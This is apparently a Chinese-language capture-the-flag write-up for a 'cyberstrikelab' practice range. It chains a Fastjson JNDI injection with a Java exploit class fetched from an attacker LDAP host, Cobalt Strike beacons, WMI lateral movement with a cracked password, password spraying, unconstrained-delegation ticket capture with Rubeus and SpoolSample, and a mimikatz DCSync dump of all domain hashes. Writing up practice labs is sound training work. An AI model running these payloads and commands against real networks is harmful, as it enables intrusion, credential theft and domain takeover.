web1

访问8080端口为tomcat,版本为9.0.99

payload

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec("calc.exe");
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

然后用javac编译

javac8 Exploit.java

得到Exploit.class

起一个http服务

python3 -m http.server 8080

bp抓包后发包

POST /fastjson/ HTTP/1.1
Host: honeypot.cslab:8080
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) 
Content-Length: 256

{
  "name": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "x": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://192.168.200.6:8088/fastjson/Exploit",
    "autoCommit": true
  }
}

上线cs

获取flag

cyber1

抓取密码

解密得到qwer@123

端口扫描得到存活ip为172.90.33.59,发现只开了135和139端口

这里尝试了pth不通,只能通过135和139端口尝试,使用到WMIHACKER.vbs

使用命令执行命令

cscript WMIHACKER_0.6.vbs /cmd 172.90.33.59 administrator "qwer@123" "whoami" 1

使用tcp beacon上线

shell cscript C:\WMIHACKER_0.6.vbs /upload 172.90.33.59 administrator "qwer@123" "c:\tcp.exe" "c:\tcp.exe"

执行tcp.exe

shell cscript C:\WMIHACKER_0.6.vbs /cmd 172.90.33.59 administrator "qwer@123" "C:\tcp.exe" 1

上线cs

获取flag

cyberweb

获取ip信息

这里有两个存活ip10.0.0.30和10.0.0.50

10.0.0.30有88和389端口,判断为DC

那么这里直接对10.0.0.50进行渗透,使用LDAP域内用户枚举得到域内用户cyberweb,然后使用SMB密码喷洒得到admin@123456,直接rdp

获取flag

DC

ADfind查询非约束委派主机和用户

查询非约束委派的主机:
AdFind.exe -b "DC=cyberstrikelab,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询非约束委派的用户:
AdFind.exe -b "DC=cyberstrikelab,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

Rubeus开启监听(本地管理员)

Rubeus.exe monitor /interval:1 /filteruser:DC$

域用户启动SpoolSample

runas /savecred /user:cyberstrikelab\cy cmd.exe
    
SpoolSample.exe DC cyberweb

报错正常,将反弹的TGT票据粘贴出来

导入票据

Rubeus.exe ptt /ticket:Base64EncodedTicket

获取ntlm

mimikatz.exe "log" "lsadump::dcsync /all /csv" "exit"